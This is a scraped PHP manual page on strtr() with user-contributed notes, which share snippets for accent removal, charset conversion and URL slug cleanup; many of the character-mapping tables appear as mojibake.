String TRANSFORMATION :

- strtolower : 383.09001922607 ms
- strtolower( strtr) : 267.36092567444 ms
- preg_replace : 16624.928951263 ms
- stringUpDown : 4013.0908489227 ms

IN : jehrjzh ré'è'è_- &éç(r&)àé ÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ EAZREZREZ^m
OUT : jehrjzh ré'è'è_- &éç(r&)àé áâãäåæçèéêëìíîïðñòóôõö eazrezrez^m

Platform : AMD 1 Ghz, Win2K, EasyPHP
martine 06-Feb-2004 07:41
This may save you time and effort (if you need to convert european languages such as Czech, Portugees, German or Swedish)

the function mb_strtoupper() converts all accented characters in the latin alphabet, ie. š, ñ, ü, ý etc. This is easier than some of the suggestions below. It should also convert case properly for russian, etc.
mec at stadeleck dot org 02-Dec-2002 06:54
something I myself first not thought about:
if there are any html entities (named entities) in your string, strtoupper will turn all letters within this entities to upper case, too. So if you want to manipulate a string with strtoupper it should contain only unicode entities (if ever).
urudz at strategma dot bg 21-Apr-2002 09:49
on linux
php gets LC_LOCAL env variable therefor you must set this

export LC_ALL=bg_BG.CP1251
export LANG=bg_BG.CP1251

before starting of apache i have put this to lines in /etc/rc.d/rc.httpd
-----

cat /etc/rc.d/rc.httpd
#!/bin/sh
#
# Start the Apache web server
#

export LC_ALL=bg_BG.CP1251
export LANG=bg_BG.CP1251

case "$1" in
   'start')
      /usr/sbin/apachectl startssl ;;
   'stop')
      /usr/sbin/apachectl stop ;;
   'restart')
      /usr/sbin/apachectl restart ;;
   *)
      echo "usage $0 start|stop|restart" ;;
esac
-------

in windows you must define your "locale"
in control panel  > regional options > general

best regards urudz :>
strtolower
strtr
String Functions


Translate characters or replace substrings

strtoupper
substr_compare
String Functions
PHP Manual

strtr

(PHP 4, PHP 5)

strtr — Translate characters or replace substrings

Description

string strtr ( string $str , string $from , string $to )
string strtr ( string $str , array $replace_pairs )

If given three arguments, this function returns a copy of str where all occurrences of each (single-byte) character in from have been translated to the corresponding character in to, i.e., every occurrence of $from[$n] has been replaced with $to[$n], where $n is a valid offset in both arguments.

If from and to have different lengths, the extra characters in the longer of the two are ignored. The length of str will be the same as the return value's.

If given two arguments, the second should be an array in the form array('from' => 'to', ...). The return value is a string where all the occurrences of the array keys have been replaced by the corresponding values. The longest keys will be tried first. Once a substring has been replaced, its new value will not be searched again.

In this case, the keys and the values may have any length, provided that there is no empty key; additionaly, the length of the return value may differ from that of str. However, this function will be the most efficient when all the keys have the same size.

Parameters

str

The string being translated.

from

The string being translated to to.

to

The string replacing from.

replace_pairs

The replace_pairs parameter may be used instead of to and from, in which case it's an array in the form array('from' => 'to', ...).

Return Values

Returns the translated string.

If replace_pairs contains a key which is an empty string (""), FALSE will be returned.

Examples

Example #1 strtr() example

<?php
//In this form, strtr() does byte-by-byte translation
//Therefore, we are assuming a single-byte encoding here:
$addr = strtr($addr, "Ã¤Ã¥Ã¶", "aao");
?>

The next example shows the behavior of strtr() when called with only two arguments. Note the preference of the replacements ("h" is not picked because there are longer matches) and how replaced text was not searched again.

Example #2 strtr() example with two arguments

<?php
$trans = array("h" => "-", "hello" => "hi", "hi" => "hello");
echo strtr("hi all, I said hello", $trans);
?>

The above example will output:

hello all, I said hi

The two modes of behavior are substantially different. With three arguments, strtr() will replace bytes; with two, it may replace longer substrings.

Example #3 strtr() behavior comparison

<?php
echo strtr("baab", "ab", "01"),"\n";

$trans = array("ab" => "01");
echo strtr("baab", $trans);
?>

The above example will output:

1001
ba01

See Also

  • str_replace() - Replace all occurrences of the search string with the replacement string
  • preg_replace() - Perform a regular expression search and replace

User Contributed Notes

Michael Schuijff 24-Oct-2011 10:02
I found that this approach is often faster than strtr() and won't change the same thing in your string twice (as opposed to str_replace(), which will overwrite things in the order of the array you feed it with):

<?php
function replace ($text, $replace) {
    $keys = array_keys($replace);
    $length = array_combine($keys, array_map('strlen', $keys));
    arsort($length);

    $array[] = $text;
    $count = 1;
    reset($length);
    while ($key = key($length)) {
        if (strpos($text, $key) !== false) {
            for ($i = 0; $i < $count; $i += 2) {
                if (($pos = strpos($array[$i], $key)) === false) continue;
                array_splice($array, $i, 1, array(substr($array[$i], 0, $pos), $replace[$key], substr($array[$i], $pos + strlen($key))));
                $count += 2;
            }
        }
        next($length);
    }
    return implode($array);
}
?>
Chris 04-Feb-2011 12:49
Hope this is useful when you need to see ASCII control characters:
<?php
$xlate = array(chr(0) => '^@/NUL/null', chr(1) => '^A/SOH/start of heading', chr(2) => '^B/STX/start of text', chr(3) => '^C/ETX/end of text', chr(4) => '^D/EOT/end of transmisssion', chr(5) => '^E/ENQ/enquiry', chr(6) => '^F/ACK/acknowledge', chr(7) => '^G/BEL/bell', chr(8) => '^H/BS/backspace', chr(9) => '^I/TAB/horizontal tab', chr(10) => '^J/LF/NL/line feed/new line', chr(11) => '^K/VT/vertical tab', chr(12) => '^L/FF/NP/form feed/new page/', chr(13) => '^M/CR/carrige return', chr(14) => '^N/SO/shift out', chr(15) => '^O/SI/shift in', chr(16) => '^P/DLE/data link escape', chr(17) => '^Q/DC1/device control 1', chr(18) => '^R/DC2/device control 2', chr(19) => '^S/DC3/device control 3', chr(20) => '^T/DC4/device control 4', chr(21) => '^U/NAK/negative acknowledge', chr(22) => '^V/SYN/synchronous idle', chr(23) => '^W/ETB/end of transmission block', chr(24) => '^X/CAN/cancel', chr(25) => '^Y/EM/end of medium', chr(26) => '^Z/SUB/substiute', chr(27) => '^[/ESC/escape', chr(28) => '^\/FS/file separator', chr(29) => '^]/GS/group separator', chr(30) => '^^/RS/record separator', chr(31) => '^_/US/unit separator', chr(32) => 'Space');

$x = 0;
$pad = strlen(strlen($str));
while(isset($str[$x]))
   echo 'character ', str_pad($x+1, $pad), ' = ', strtr($str[$x], $xlate), ' (ascii ', ord($str[$x++]), ')';
?>
sales at mk2solutions dot com 29-Jun-2010 11:59
This is what we use for prepping data that is going to be used for shortURLs or just needs to be completely cleaned
<?php

$GLOBALS['normalizeChars'] = array(
    'Å '=>'S', 'Å¡'=>'s', 'Ã'=>'Dj','Å½'=>'Z', 'Å¾'=>'z', 'Ã€'=>'A', 'Ã'=>'A', 'Ã‚'=>'A', 'Ãƒ'=>'A', 'Ã„'=>'A',
    'Ã…'=>'A', 'Ã†'=>'A', 'Ã‡'=>'C', 'Ãˆ'=>'E', 'Ã‰'=>'E', 'ÃŠ'=>'E', 'Ã‹'=>'E', 'ÃŒ'=>'I', 'Ã'=>'I', 'ÃŽ'=>'I',
    'Ã'=>'I', 'Ã‘'=>'N', 'Ã’'=>'O', 'Ã“'=>'O', 'Ã”'=>'O', 'Ã•'=>'O', 'Ã–'=>'O', 'Ã˜'=>'O', 'Ã™'=>'U', 'Ãš'=>'U',
    'Ã›'=>'U', 'Ãœ'=>'U', 'Ã'=>'Y', 'Ãž'=>'B', 'ÃŸ'=>'Ss','Ã '=>'a', 'Ã¡'=>'a', 'Ã¢'=>'a', 'Ã£'=>'a', 'Ã¤'=>'a',
    'Ã¥'=>'a', 'Ã¦'=>'a', 'Ã§'=>'c', 'Ã¨'=>'e', 'Ã©'=>'e', 'Ãª'=>'e', 'Ã«'=>'e', 'Ã¬'=>'i', 'Ã'=>'i', 'Ã®'=>'i',
    'Ã¯'=>'i', 'Ã°'=>'o', 'Ã±'=>'n', 'Ã²'=>'o', 'Ã³'=>'o', 'Ã´'=>'o', 'Ãµ'=>'o', 'Ã¶'=>'o', 'Ã¸'=>'o', 'Ã¹'=>'u',
    'Ãº'=>'u', 'Ã»'=>'u', 'Ã½'=>'y', 'Ã½'=>'y', 'Ã¾'=>'b', 'Ã¿'=>'y', 'Æ’'=>'f'
);

function cleanForShortURL($toClean) {
    $toClean     =     str_replace('&', '-and-', $toClean);
    $toClean     =    trim(preg_replace('/[^\w\d_ -]/si', '', $toClean));//remove all illegal chars
    $toClean     =     str_replace(' ', '-', $toClean);
    $toClean     =     str_replace('--', '-', $toClean);

    return strtr($toClean, $GLOBALS['normalizeChars']);
}

This process cleans up any special characters and also coverts strings to a readable safe URL format.
?>
elloromtz at gmail dot com 19-Apr-2010 05:08
If you supply 3 arguments and the 2nd is an array, strtr will search the "A" from "Array" (because you're treating it as a scalar string) and replace it with the 3rd argument:

strtr('Analogy', array('x'=>'y'),  '_'); //'_nalogy'

so in reality the above code has the same affect as:

strtr('Analogy', 'A' , '_');
Anonymous 25-Nov-2009 12:09
Here's a one-liner to strip out non-standard ascii characters, inspired by joeldegan AT yahoo's post below.

<?php
  $new = preg_replace("/[^\x9\xA\xD\x20-\x7F]/", "", $old);
?>
nvyktor 09-Sep-2009 07:02
Hi all,

as u probably know the is some truoble with the (for example) hungarian special characters. If I used the htmlentities() function, the simple chars had benn converted to the basic format, for example: & aacute;. However this was very simple, some cases it needs more transformation.

As I would like to use the correct caracters even in php, html, js, and more, a wrote this short code to solve this issue:

<?php
function charcode ($text) {
    $text = htmlentities($text); //to convert the simple spec chars
    $search = array("& otilde;","&O tilde;","& ucirc;","&U circ;");
    $replace = array("& #337;","& #336;","& #369;","& #368;");
    $text = str_replace($search, $replace, $text);
    return $text;
}
?>

Now I am able to display any spec chars in any browser with any character encoding set.

Hope U will find this helpful.

Vyktor
allixsenos at gmail dot com 16-May-2009 08:55
fixed "normaliza" functions written below to include Slavic Latin characters... also, it doesn't return lowercase any more (you can easily get that by applying strtolower yourself)...

also, renamed to normalize()

<?php

function normalize ($string) {
    $table = array(
        'Å '=>'S', 'Å¡'=>'s', 'Ä'=>'Dj', 'Ä‘'=>'dj', 'Å½'=>'Z', 'Å¾'=>'z', 'ÄŒ'=>'C', 'Ä'=>'c', 'Ä†'=>'C', 'Ä‡'=>'c',
        'Ã€'=>'A', 'Ã'=>'A', 'Ã‚'=>'A', 'Ãƒ'=>'A', 'Ã„'=>'A', 'Ã…'=>'A', 'Ã†'=>'A', 'Ã‡'=>'C', 'Ãˆ'=>'E', 'Ã‰'=>'E',
        'ÃŠ'=>'E', 'Ã‹'=>'E', 'ÃŒ'=>'I', 'Ã'=>'I', 'ÃŽ'=>'I', 'Ã'=>'I', 'Ã‘'=>'N', 'Ã’'=>'O', 'Ã“'=>'O', 'Ã”'=>'O',
        'Ã•'=>'O', 'Ã–'=>'O', 'Ã˜'=>'O', 'Ã™'=>'U', 'Ãš'=>'U', 'Ã›'=>'U', 'Ãœ'=>'U', 'Ã'=>'Y', 'Ãž'=>'B', 'ÃŸ'=>'Ss',
        'Ã '=>'a', 'Ã¡'=>'a', 'Ã¢'=>'a', 'Ã£'=>'a', 'Ã¤'=>'a', 'Ã¥'=>'a', 'Ã¦'=>'a', 'Ã§'=>'c', 'Ã¨'=>'e', 'Ã©'=>'e',
        'Ãª'=>'e', 'Ã«'=>'e', 'Ã¬'=>'i', 'Ã'=>'i', 'Ã®'=>'i', 'Ã¯'=>'i', 'Ã°'=>'o', 'Ã±'=>'n', 'Ã²'=>'o', 'Ã³'=>'o',
        'Ã´'=>'o', 'Ãµ'=>'o', 'Ã¶'=>'o', 'Ã¸'=>'o', 'Ã¹'=>'u', 'Ãº'=>'u', 'Ã»'=>'u', 'Ã½'=>'y', 'Ã½'=>'y', 'Ã¾'=>'b',
        'Ã¿'=>'y', 'Å”'=>'R', 'Å•'=>'r',
    );

    return strtr($string, $table);
}

?>
Sidney Ricardo 05-Sep-2008 11:54
This work fine to me:

<?php
function normaliza ($string){
    $a = 'Ã€ÃÃ‚ÃƒÃ„Ã…Ã†Ã‡ÃˆÃ‰ÃŠÃ‹ÃŒÃÃŽÃÃÃ‘Ã’Ã“Ã”Ã•Ã–Ã˜Ã™ÃšÃ›ÃœÃÃž
ÃŸÃ Ã¡Ã¢Ã£Ã¤Ã¥Ã¦Ã§Ã¨Ã©ÃªÃ«Ã¬ÃÃ®Ã¯Ã°Ã±Ã²Ã³Ã´ÃµÃ¶Ã¸Ã¹ÃºÃ»Ã½Ã½Ã¾Ã¿Å”Å•';
    $b = 'aaaaaaaceeeeiiiidnoooooouuuuy
bsaaaaaaaceeeeiiiidnoooooouuuyybyRr';
    $string = utf8_decode($string);
    $string = strtr($string, utf8_decode($a), $b);
    $string = strtolower($string);
    return utf8_encode($string);
}
?>
jorge at seisbits dot com 11-Jul-2008 12:04
If you try to make a strtr of not usual charafters when you are in a utf8 enviroment, you can do that:

function normaliza ($string){
    $string = utf8_decode($string);
    $string = strtr($string, utf8_decode(" Ã‚ÃŠÃŽÃ”Ã›Ã€"), "-AEIOU");
    $string = strtolower($string);
    return $string;
}
dot dot dot dot dot alexander at gmail dot com 25-Mar-2008 04:09
OK, I debugged the function (had some errors)
Here it is:

if(!function_exists("stritr")){
    function stritr($string, $one = NULL, $two = NULL){
/*
stritr - case insensitive version of strtr
Author: Alexander Peev
Posted in PHP.NET
*/
        if(  is_string( $one )  ){
            $two = strval( $two );
            $one = substr(  $one, 0, min( strlen($one), strlen($two) )  );
            $two = substr(  $two, 0, min( strlen($one), strlen($two) )  );
            $product = strtr(  $string, ( strtoupper($one) . strtolower($one) ), ( $two . $two )  );
            return $product;
        }
        else if(  is_array( $one )  ){
            $pos1 = 0;
            $product = $string;
            while(  count( $one ) > 0  ){
                $positions = array();
                foreach(  $one as $from => $to  ){
                    if(   (  $pos2 = stripos( $product, $from, $pos1 )  ) === FALSE   ){
                        unset(  $one[ $from ]  );
                    }
                    else{
                        $positions[ $from ] = $pos2;
                    }
                }
                if(  count( $one ) <= 0  )break;
                $winner = min( $positions );
                $key = array_search(  $winner, $positions  );
                $product = (   substr(  $product, 0, $winner  ) . $one[$key] . substr(  $product, ( $winner + strlen($key) )  )   );
                $pos1 = (  $winner + strlen( $one[$key] )  );
            }
            return $product;
        }
        else{
            return $string;
        }
    }/* endfunction stritr */
}/* endfunction exists stritr */
dot dot dot dot dot alexander at gmail dot com 25-Mar-2008 10:44
Here is the stritr I always needed... I wrote it in 15 minutes... But only after the idea struck me. Hope you find it helpful, and enjoy...
<?php
if(!function_exists("stritr")){
    function stritr($string, $one = NULL, $two = NULL){
/*
stritr - case insensitive version of strtr
Author: Alexander Peev
Posted in PHP.NET
*/
        if(  is_string( $one )  ){
            $two = strval( $two );
            $one = substr(  $one, 0, min( strlen($one), strlen($two) )  );
            $two = substr(  $two, 0, min( strlen($one), strlen($two) )  );
            $product = strtr(  $string, ( strtoupper($one) . strtolower($one) ), ( $two . $two )  );
            return $product;
        }
        else if(  is_array( $one )  ){
            $pos1 = 0;
            $product = $string;
            while(  count( $one ) > 0  ){
                $positions = array();
                foreach(  $one as $from => $to  ){
                    if(   (  $pos2 = stripos( $product, $from, $pos1 )  ) === FALSE   ){
                        unset(  $one[ $from ]  );
                    }
                    else{
                        $positions[ $from ] = $pos2;
                    }
                }
                $winner = min( $positions );
                $key = array_search(  $winner, $positions  );
                $product = (   substr(  $product, 0, $winner  ) . $positions[$key] . substr(  $product, ( $winner + strlen($key) )  )   );
                $pos1 = (  $winner + strlen( $positions[$key] )  );
            }
            return $product;
        }
        else{
            return $string;
        }
    }/* endfunction stritr */
}/* endfunction exists stritr */
?>
Jean-Marc Libs 26-Feb-2008 09:49
A couple of people have suggested examples of use of strstr() in order to do conversions from one charset to the other.

I would like to point out that this is the purpose of iconv().
troelskn at gmail dot com 23-Jan-2008 03:39
Here's another transcribe function. This one converts cp1252 (aka. Windows-1252) into iso-8859-1 (aka. latin1, the default PHP charset). It only transcribes the few exotic characters, which are unique to cp1252.

function transcribe_cp1252_to_latin1($cp1252) {
  return strtr(
    $cp1252,
    array(
      "\x80" => "e",  "\x81" => " ",    "\x82" => "'", "\x83" => 'f',
      "\x84" => '"',  "\x85" => "...",  "\x86" => "+", "\x87" => "#",
      "\x88" => "^",  "\x89" => "0/00", "\x8A" => "S", "\x8B" => "<",
      "\x8C" => "OE", "\x8D" => " ",    "\x8E" => "Z", "\x8F" => " ",
      "\x90" => " ",  "\x91" => "`",    "\x92" => "'", "\x93" => '"',
      "\x94" => '"',  "\x95" => "*",    "\x96" => "-", "\x97" => "--",
      "\x98" => "~",  "\x99" => "(TM)", "\x9A" => "s", "\x9B" => ">",
      "\x9C" => "oe", "\x9D" => " ",    "\x9E" => "z", "\x9F" => "Y"));
ajitsingh4u at gmail dot com 06-Aug-2007 07:36
/**
* Replaces special characters with single quote,double quote and comma for charset iso-8859-1
*
* replaceSpecialChars()
* @param string $str
* @return string
*/
function replaceSpecialChars($str)
{
    //`(96) â€™(130) â€ž(132) â€˜(145) â€™(146) â€œ(147) â€(148) Â´(180)   // equivalent ascii values of these characters.
    $str = strtr($str, "`â€™â€žâ€˜â€™Â´", "'','''");
    $str = strtr($str, 'â€œâ€', '""');
    return $str;
}
peter dot goodman at gmail dot com 28-Jun-2007 08:17
To the previous comment: great function, one character mapping it is missing is though is:

chr(226) => 'Ã¢'
horak.jan AT centrum.cz 22-May-2007 07:11
Here is a function to convert middle-european windows charset (cp1250) to the charset, that php script is written in:

<?php
    function cp1250_to_utf2($text){
        $dict  = array(chr(225) => 'Ã¡', chr(228) =>  'Ã¤', chr(232) => 'Ä', chr(239) => 'Ä',
            chr(233) => 'Ã©', chr(236) => 'Ä›', chr(237) => 'Ã', chr(229) => 'Äº', chr(229) => 'Ä¾',
            chr(242) => 'Åˆ', chr(244) => 'Ã´', chr(243) => 'Ã³', chr(154) => 'Å¡', chr(248) => 'Å™',
            chr(250) => 'Ãº', chr(249) => 'Å¯', chr(157) => 'Å¥', chr(253) => 'Ã½', chr(158) => 'Å¾',
            chr(193) => 'Ã', chr(196) => 'Ã„', chr(200) => 'ÄŒ', chr(207) => 'ÄŽ', chr(201) => 'Ã‰',
            chr(204) => 'Äš', chr(205) => 'Ã', chr(197) => 'Ä¹',    chr(188) => 'Ä½', chr(210) => 'Å‡',
            chr(212) => 'Ã”', chr(211) => 'Ã“', chr(138) => 'Å ', chr(216) => 'Å˜', chr(218) => 'Ãš',
            chr(217) => 'Å®', chr(141) => 'Å¤', chr(221) => 'Ã', chr(142) => 'Å½',
            chr(150) => '-');
        return strtr($text, $dict);
    }
?>
joeldegan AT yahoo 07-Apr-2006 08:49
After battling with strtr trying to strip out MS word formatting from things pasted into forms I ended up coming up with this..

it strips ALL non-standard ascii characters, preserving html codes and such, but gets rid of all the characters that refuse to show in firefox.

If you look at this page in firefox you will see a ton of "question mark" characters and so it is not possible to copy and paste those to remove them from strings..  (this fixes that issue nicely, though I admit it could be done a bit better)

<?
function fixoutput($str){
    $good[] = 9;  #tab
    $good[] = 10; #nl
    $good[] = 13; #cr
    for($a=32;$a<127;$a++){
        $good[] = $a;
    }
    $len = strlen($str);
    for($b=0;$b < $len+1; $b++){
        if(in_array(ord($str[$b]), $good)){
            $newstr .= $str[$b];
        }//fi
    }//rof
    return $newstr;
}
?>
martin[dot]pelikan[at]gmail[dot]com 29-Dec-2005 07:20
// if you are upset with windows' ^M characters at the end of the line,
// these two lines are for you:
$trans = array("\x0D" => "");
$text = strtr($orig_text,$trans);

// note that ctrl+M (in vim known as ^M) is hexadecimally 0x0D
tomhmambo at seznam dot cz 20-Dec-2005 02:54
<?
// Windows-1250 to ASCII
// This function replace all Windows-1250 accent characters with
// thier non-accent ekvivalents. Useful for Czech and Slovak languages.

function win2ascii($str)    {

    $str = StrTr($str,
        "\xE1\xE8\xEF\xEC\xE9\xED\xF2",
        "\x61\x63\x64\x65\x65\x69\x6E");

    $str = StrTr($str,
        "\xF3\xF8\x9A\x9D\xF9\xFA\xFD\x9E\xF4\xBC\xBE",
        "\x6F\x72\x73\x74\x75\x75\x79\x7A\x6F\x4C\x6C");

    $str = StrTr($str,
        "\xC1\xC8\xCF\xCC\xC9\xCD\xC2\xD3\xD8",
        "\x41\x43\x44\x45\x45\x49\x4E\x4F\x52");

    $str = StrTr($str,
        "\x8A\x8D\xDA\xDD\x8E\xD2\xD9\xEF\xCF",
        "\x53\x54\x55\x59\x5A\x4E\x55\x64\x44");

    return $str;
}
?>
Ezbakhe Yassin <yassin88 at gmail dot com> 31-Aug-2005 03:55
Here you are a simple function to rotate a variable according to an array of possible values. You can make a strict comparison (===).

<?php
function rotateValue($string, $values, $strict = TRUE)
{
    if (!empty($string) AND is_array($values))
    {
        $valuesCount = count($values);

        for ($i = 0; $i < $valuesCount; $i++)
        {
            if ($strict ? ($string === $values[$i]) : ($string == $values[$i]))
            {
                return $values[($i + 1) % $valuesCount];
            }
        }
    }

    return FALSE;
}
?>

For example:

- rotateValue("A", array("A", "B", "C")) will return "B"
- rotateValue("C", array("A", "B", "C")) will return "A"
ru dot dy at gmx dot net 10-Jul-2005 04:20
Posting umlaute here resulted in a mess. Heres a version of the same function that works with preg_replace only:
<?php
  function getRewriteString($sString) {
     $string = strtolower(htmlentities($sString));
     $string = preg_replace("/&(.)(uml);/", "$1e", $string);
     $string = preg_replace("/&(.)(acute|cedil|circ|ring|tilde|uml);/", "$1", $string);
     $string = preg_replace("/([^a-z0-9]+)/", "-", html_entity_decode($string));
     $string = trim($string, "-");
     return $string;
  }
?>
-sven (www.bitcetera.com) 20-Apr-2005 11:48
And while we're at it, yet another transcriber (the code formerly known as accent remover). It does accents and umlauts, but also ligatures and runes known to ISO-8859-1. The translation strings must be on one line without any whitespaces in it. They are rendered hardwrapped here because this documentation doesn't allow long lines in notes.

function transcribe($string) {
    $string = strtr($string,
       "\xA1\xAA\xBA\xBF\xC0\xC1\xC2\xC3\xC5\xC7
        \xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD1
        \xD2\xD3\xD4\xD5\xD8\xD9\xDA\xDB\xDD\xE0
        \xE1\xE2\xE3\xE5\xE7\xE8\xE9\xEA\xEB\xEC
        \xED\xEE\xEF\xF0\xF1\xF2\xF3\xF4\xF5\xF8
        \xF9\xFA\xFB\xFD\xFF",
        "!ao?AAAAAC
        EEEEIIIIDN
        OOOOOUUUYa
        aaaaceeeei
        iiidnooooo
        uuuyy");
    $string = strtr($string, array("\xC4"=>"Ae", "\xC6"=>"AE", "\xD6"=>"Oe", "\xDC"=>"Ue", "\xDE"=>"TH", "\xDF"=>"ss", "\xE4"=>"ae", "\xE6"=>"ae", "\xF6"=>"oe", "\xFC"=>"ue", "\xFE"=>"th"));
    return($string);
}

(Funky: ISO-8859-1 does not cover the french "oe" ligature.)
info at oscaralexander dot com 13-Apr-2005 12:32
Here's a nice function for parsing a string to something suitable for URL rewriting (mod_rewrite). It translates all accented characters to their non-accented equivalents and replaces all other non-alphanumeric character with dashes:

function getRewriteString($sString) {
    $string    = htmlentities(strtolower($string));
    $string    = preg_replace("/&(.)(acute|cedil|circ|ring|tilde|uml);/", "$1", $string);
    $string    = preg_replace("/([^a-z0-9]+)/", "-", html_entity_decode($string));
    $string    = trim($string, "-");
    return $string;
}
Stian 02-Mar-2005 01:58
elonen forgot the ø character (\xf8)
A (more) complete accent remover:

$txt = strtr($txt,
 "\xe1\xc1\xe0\xc0\xe2\xc2\xe4\xc4\xe3\xc3\xe5\xc5".
 "\xaa\xe7\xc7\xe9\xc9\xe8\xc8\xea\xca\xeb\xcb\xed".
 "\xcd\xec\xcc\xee\xce\xef\xcf\xf1\xd1\xf3\xd3\xf2".
 "\xd2\xf4\xd4\xf6\xd6\xf5\xd5\x8\xd8\xba\xf0\xfa\xda".
 "\xf9\xd9\xfb\xdb\xfc\xdc\xfd\xdd\xff\xe6\xc6\xdf\xf8",
 "aAaAaAaAaAaAacCeEeEeEeEiIiIiIiInNo".
 "OoOoOoOoOoOoouUuUuUuUyYyaAso");
elonen at iki dot fi 25-Feb-2005 12:24
Yet another accent remover, this time pretty complete and without any 8-bit characters in the script itself:

$txt = strtr($txt,
 "\xe1\xc1\xe0\xc0\xe2\xc2\xe4\xc4\xe3\xc3\xe5\xc5".
 "\xaa\xe7\xc7\xe9\xc9\xe8\xc8\xea\xca\xeb\xcb\xed".
 "\xcd\xec\xcc\xee\xce\xef\xcf\xf1\xd1\xf3\xd3\xf2".
 "\xd2\xf4\xd4\xf6\xd6\xf5\xd5\x8\xd8\xba\xf0\xfa".
 "\xda\xf9\xd9\xfb\xdb\xfc\xdc\xfd\xdd\xff\xe6\xc6\xdf",
 "aAaAaAaAaAaAacCeEeEeEeEiIiIiIiInNoOoOoOoOoOoOoouUuUuUuUyYyaAs");
patrick at p-roocks dot de 06-Feb-2005 02:31
As Daijoubu suggested use str_replace instead of this function for large arrays/subjects. I just tried it with a array of 60 elements, a string with 8KB length, and the execution time of str_replace was faster at factor 20!

Patrick
Daijoubu 12-Jan-2005 03:19
Wouldn't:
<?php
$s = str_replace(array_key($replace_array), array_value($replace_array), $s);
?>
be faster?
Perhaps even faster using 2 seperate arrays...
11-Dec-2004 05:20
If you are going to call strtr a lot, consider using str_replace instead, as it is much faster. I cut execution time in half just by doing this.

<?
// i.e. instead of:
$s=strtr($s,$replace_array);

// use:
foreach($replace_array as $key=>$value) $s=str_replace($key,$value,$s);
?>
oliver at modix dot de 22-Oct-2004 01:08
Replace control characters in a binary string:
<?

function cc_replace($in) {
        for ($i = 0; $i <= 31; $i++) {
                $from  .= chr($i);
                $to    .= ".";
        }
        return strtr($in, $from, $to);
}

?>
ktogias at math dot upatras dot gr 23-Sep-2004 03:32
This function is usefull for
accent insensitive regexp
searches into greek (iso8859-7) text:
(Select View -> Character Encoding -> Greek (iso8859-7)
at your browser to see the correct greek characters)

function gr_regexp($mystring){
        $replacement=array(
                array("¶","Á","á","Ü"),
                array("¸","Å","å","Ý"),
                array("¹","Ç","ç","Þ"),
                array("º","É","é","ß","ú","À"),
                array("¼","Ï","ï","ü"),
                array("¾","Õ","õ","ý","û","à"),
                array("¿","Ù","ù","þ")
        );
        foreach($replacement as $group){
                foreach($group as $character){
                        $exp="[";
                        foreach($group as $expcharacter){
                                $exp.=$expcharacter;
                        }
                        $exp.="]";
                        $trans[$character]=$exp;
                }
        }
        $temp=explode(" ", $mystring);
        for ($i=0;$i<sizeof($temp);$i++){
                $temp[$i]=strtr($temp[$i],$trans);
                $temp[$i]=addslashes($temp[$i]);
        }
        return implode(".*",$temp);
}

$match=gr_regexp("Óêïõëéêïìõñìéãêüôñõðá êáé ÔæéæéñéÜ");

//The next query string can be sent to MySQL
through mysql_query()
$query=
      "Select `column` from `table` where `column2` REGEXP
                         '".$match."'";
from-php-net dot ticket at raf256 dot com 04-Jun-2004 04:59
Hi, before I found strtr() function I quickly wrote own repleacement, if someone is interested,

// by http://www.raf256.com - Rafal Maj
function ConvCharset($from,$to,$s) {
  $l=strlen($s);
  $S=''; // out put
  for ($i=0; $i<$l; $i++) {
    $c=$s[$i]; // curr char
    $x=strpos($from, $c);
    if ($x!==FALSE) $c=$to[$x];
    $S.=$c;
  }
  return $S;
}
volkris at tamu dot edu 19-Mar-2004 06:25
Regarding christophe's conversion, note that the \x## values should be in double quotes, not single, so that the escape will be applied.
stewey at ambitious dot ca 04-Mar-2004 06:11
This version of macRomanToIso (originally posted by: marcus at synchromedia dot co dot uk) offers a couple of improvements. First, it removes the extra slashes '\' that broke the original function. Second, it adds four quote characters not supported in ISO 8859-1. These are the left double quote, right double quote, left single quote and right single quote.

Be sure to remove the line breaks from the two strings going into strtr or this function will not work properly.

Be careful what text you apply this to. If you apply it to ISO 8859-1 encoded text it will likely wreak havoc. I'll save you some trouble with this bit of advice: don't bother trying to detect what charset a certain text file is using, it can't be done reliably. Instead, consider making assumptions based upon the HTTP_USER_AGENT, or prompting the user to specify the character encoding used (perhaps both).

<?php

/**
 * Converts MAC OS ROMAN encoded strings to the ISO 8859-1 charset.
 *
 * @param    string    the string to convert.
 * @return    string    the converted string.
 */
function macRomanToIso($string)
{
    return strtr($string,
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b
\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97
\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa1\xa4\xa6\xa7
\xa8\xab\xac\xae\xaf\xb4\xbb\xbc\xbe\xbf\xc0\xc1
\xc2\xc7\xc8\xca\xcb\xcc\xd6\xd8\xdb\xe1\xe5\xe6
\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf1\xf2\xf3
\xf4\xf8\xfc\xd2\xd3\xd4\xd5",
"\xc4\xc5\xc7\xc9\xd1\xd6\xdc\xe1\xe0\xe2\xe4\xe3
\xe5\xe7\xe9\xe8\xea\xeb\xed\xec\xee\xef\xf1\xf3
\xf2\xf4\xf6\xf5\xfa\xf9\xfb\xfc\xb0\xa7\xb6\xdf\xae
\xb4\xa8\xc6\xd8\xa5\xaa\xba\xe6\xf8\xbf\xa1\xac
\xab\xbb\xa0\xc0\xc3\xf7\xff\xa4\xb7\xc2\xca\xc1
\xcb\xc8\xcd\xce\xcf\xcc\xd3\xd4\xd2\xda\xdb\xd9
\xaf\xb8\x22\x22\x27\x27");
}

?>
christophe at publicityweb dot com 26-Feb-2004 12:04
Latin1 (iso-8859-1) DONT define chars \x80-\x9f (128-159),
but Windows charset 1252 defines _some_ of them
-- like the infamous msoffice 'magic quotes' (\x92 146).
Dont use those invalid control chars in webpages,
but their html (unicode) entities. See ftp.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1252.TXT
or http://www.microsoft.com/typography/unicode/1252.htm
PS: a '?' in the code means the win-cp1252 dont define the given char.

$badlatin1_cp1252_to_htmlent =
  array(
    '\x80'=>'&#x20AC;', '\x81'=>'?', '\x82'=>'&#x201A;', '\x83'=>'&#x0192;',
    '\x84'=>'&#x201E;', '\x85'=>'&#x2026;', '\x86'=>'&#x2020;', \x87'=>'&#x2021;',
    '\x88'=>'&#x02C6;', '\x89'=>'&#x2030;', '\x8A'=>'&#x0160;', '\x8B'=>'&#x2039;',
